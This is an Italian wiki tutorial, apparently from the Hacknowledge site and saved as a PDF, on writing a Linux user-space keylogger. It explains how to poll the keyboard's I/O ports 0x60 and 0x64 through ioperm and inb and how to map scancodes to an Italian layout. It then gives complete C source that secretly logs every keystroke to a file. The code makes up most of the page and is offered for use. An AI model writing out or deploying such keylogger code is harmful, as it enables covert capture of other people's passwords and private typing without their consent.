Sei sulla pagina 1di 5

Entra o crea un nuovo accesso

voce discussione modifica cronologia

Creazione di un keylogger
Un keylogger è un'entità in grado di intercettare ogni tasto premuto su una tastiera e salvarlo su un file di log arbitrario. Può essere di tipo
hardware (in questo caso un piccolo spinotto interposto fra la tastiera e il computer stesso) o di tipo software (in questo caso un'applicazione in
user space o un modulo in kernel space che intercetta tutti gli interrupt della tastiera salvando il tasto premuto). In questa sede esamineremo il
secondo tipo di keylogger, vedendo come scrivere un keylogger in user space in ambiente Linux.

Come funziona [modifica]

Quello che deve fare un keylogger è molto semplice: interrogare la tastiera finché non viene premuto un tasto. Quando viene premuto un tasto
questo viene letto e salvato su un file di log. Per fare ciò, non possiamo usare le normali funzioni di I/O, che leggono solo i tasti premuti all'interno
di una certa applicazione, ma dobbiamo scendere a un livello più basso, facendo per una volta lo stesso lavoro che fa il sistema operativo quando
interroga una periferica hardware. La sequenza logica di passi compiuti da un keylogger è la seguente:
Accedi alla periferica. Se è impossibile accedere, esci.
Controlla se la periferica ha dati da inviare.
Se si, leggi il dato che la periferica ha da inviare e salvalo sul file di log.
Torna al punto 2.

Accesso alla periferica [modifica]

Ogni periferica di I/O è mappata ad un indirizzo univoco in memoria, tali indirizzi si possono visualizzare su Linux all'interno del file /proc/ioports.
Per vedere dov'è mappata la tastiera faremo così:

root@nightmare:~$ cat /proc/ioports | grep keyboard


0060-006f : keyboard

La tastiera ha due registri in questo intervallo, tramite i quali interagisce con il sistema: il data register, contenente i caratteri effettivamente
premuti e generalmente all'indirizzo 0x60, e lo status register, contenente lo status della tastiera e generalmente all'indirizzo 0x64 (data
register+4). Possiamo accedere a questi due indirizzi in I/O tramite la primitiva ioperm (già vista nella guida al C):

#define KB_IO 0x60


#define KB_STATUS 0x64

........

if (ioperm(KB_IO,1,1)==-1 || ioperm(KB_STATUS,1,1)==-1) {
printf ("Impossibile accedere alla porta di I/O della tastiera\n");
exit(1);
}

PDFmyURL.com
Controllo dei dati [modifica]

Abbiamo accesso ai registri di dati e di status della tastiera. Quello che dobbiamo fare ora è fare un ciclo in cui leggiamo i dati che la tastiera ha
da inviarci. Sarebbe comodo gestire il tutto ad interrupt, cioè intercettare la pressione di un tasto semplicemente intercettandone l'interrupt
generato, ma ciò non è possibile dallo user space (è prerogativa del kernel space). L'alternativa è fare una gestione in polling, cioè interrogare
continuamente, a intervalli di tempo costanti, i registri della tastiera e controllare se ha dati da inviare. Quando viene premuto un tasto il registro di
stato viene settato a 20 (0001 0100). Nel nostro ciclo non faremo altro che andare a leggere tramite la primitiva inb il valore contenuto nel registro
di status. Nel caso in cui questo sia uguale a 20, andiamo a leggere il valore contenuto nel data register, lo convertiamo in un carattere ASCII e lo
scriviamo su file. Ecco il ciclo:

// Tempo di sleep fra un'interrogazione e l'altra = 50 ms


#define SLEEP_T 50

...

int code,lastcode;
FILE *fp;

...

// Ciclo
while(1) {
code=0;

// Controllo se la tastiera 'ha parlato'


if (inb(KB_STATUS)==20)
// In caso affermativo, leggo il valore salvato nel data register
code=inb(KB_IO);

// Se il codice è valido
if (code) {
// Se è diverso dall'ultimo tasto in memoria (controllo necessario per evitare 'spam' di tasti)
if (code!=lastcode) {
lastcode=code;

// Se è un carattere riconosciuto
if (get_key(code)) {
// Stampo il carattere su file
fprintf (fp,"%c",get_key(code));
fflush (fp);
}
}
}

usleep(SLEEP_T);
}

La funzione get_key() ci serve per un motivo molto semplice. Nel data register della tastiera non vengono salvati i codici ASCII dei caratteri, ma i
caratteri vengono numerati in base alla loro sequenza fisica sulla tastiera (qwertyu....). [modifica] Codice completo
Ecco il codice completo del keylogger, con anche la funzione get_key() definita per la conversione di un codice salvato nel data register in

PDFmyURL.com
carattere ASCII seguendo le convenzioni della tastiera italiana:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/io.h>

#define KB_IO 0x60


#define KB_STATUS 0x64
#define SLEEP_T 50

const char get_key(int code) {


if ((code>=2) && (code<=10))
return (char) code+29;

switch (code) {
case(11): return '0'; break;
case(12): return '\'';break;
case(13): return 'ì'; break;
case(14): return '\b';break;
case(15): return '\t';break;
case(16): return 'q'; break;
case(17): return 'w'; break;
case(18): return 'e'; break;
case(19): return 'r'; break;
case(20): return 't'; break;
case(21): return 'y'; break;
case(22): return 'u'; break;
case(23): return 'i'; break;
case(24): return 'o'; break;
case(25): return 'p'; break;
case(26): return 'è'; break;
case(27): return '+'; break;
case(28): return '\n';break;
case(30): return 'a'; break;
case(31): return 's'; break;
case(32): return 'd'; break;
case(33): return 'f'; break;
case(34): return 'g'; break;
case(35): return 'h'; break;
case(36): return 'j'; break;
case(37): return 'k'; break;
case(38): return 'l'; break;
case(39): return 'ò'; break;
case(40): return 'à'; break;
case(42): return '<'; break;
case(43): return 'ù'; break;
case(44): return 'z'; break;
case(45): return 'x'; break;
case(46): return 'c'; break;
case(47): return 'v'; break;
case(48): return 'b'; break;
case(49): return 'n'; break;
case(50): return 'm'; break;
case(51): return ','; break;
case(52): return '.'; break;
case(53): return '-'; break;
case(57): return ' '; break;
}

return 0;
}

PDFmyURL.com
int main (int argc, char **argv) {
int lastcode=0,code=0;
FILE *fp;

if (argc!=2) {
printf ("%s <logfile>\n",argv[0]);
return 1;
}

if (!(fp=fopen(argv[1],"a"))) {
printf ("Impossibile scrivere su %s\n",argv[0]);
return 2;
}

if (ioperm(KB_IO,1,1)==-1 || ioperm(KB_STATUS,1,1)==-1) {
printf ("Impossibile accedere alla porta di I/O della tastiera\n");
return 3;
}

while(1) {
code=0;

if (inb(KB_STATUS)==20)
code=inb(KB_IO);

if (code) {
if (code!=lastcode) {
lastcode=code;

if (get_key(code)) {
fprintf (fp,"%c",get_key(code));
fflush (fp);
}
}
}

usleep(SLEEP_T);
}
}

navigazione
Pagina principale
Indice
Autori
Ultime modifiche
Una pagina a caso
Aiuto
Donazioni
Contatti

ricerca

PDFmyURL.com
Vai Ricerca

strumenti
Puntano qui
Modifiche correlate
Carica un file
Pagine speciali
Versione stampabile
Link permanente

Ultima modifica per la pagina: 21:21, 19 ott 2008. Questa pagina è stata letta 1.609 volte. Contenuti soggetti a licenza d'uso GNU Free Documentation
License 1.2. Informazioni sulla privacy Informazioni su Hacknow ledge Avvertenze

PDFmyURL.com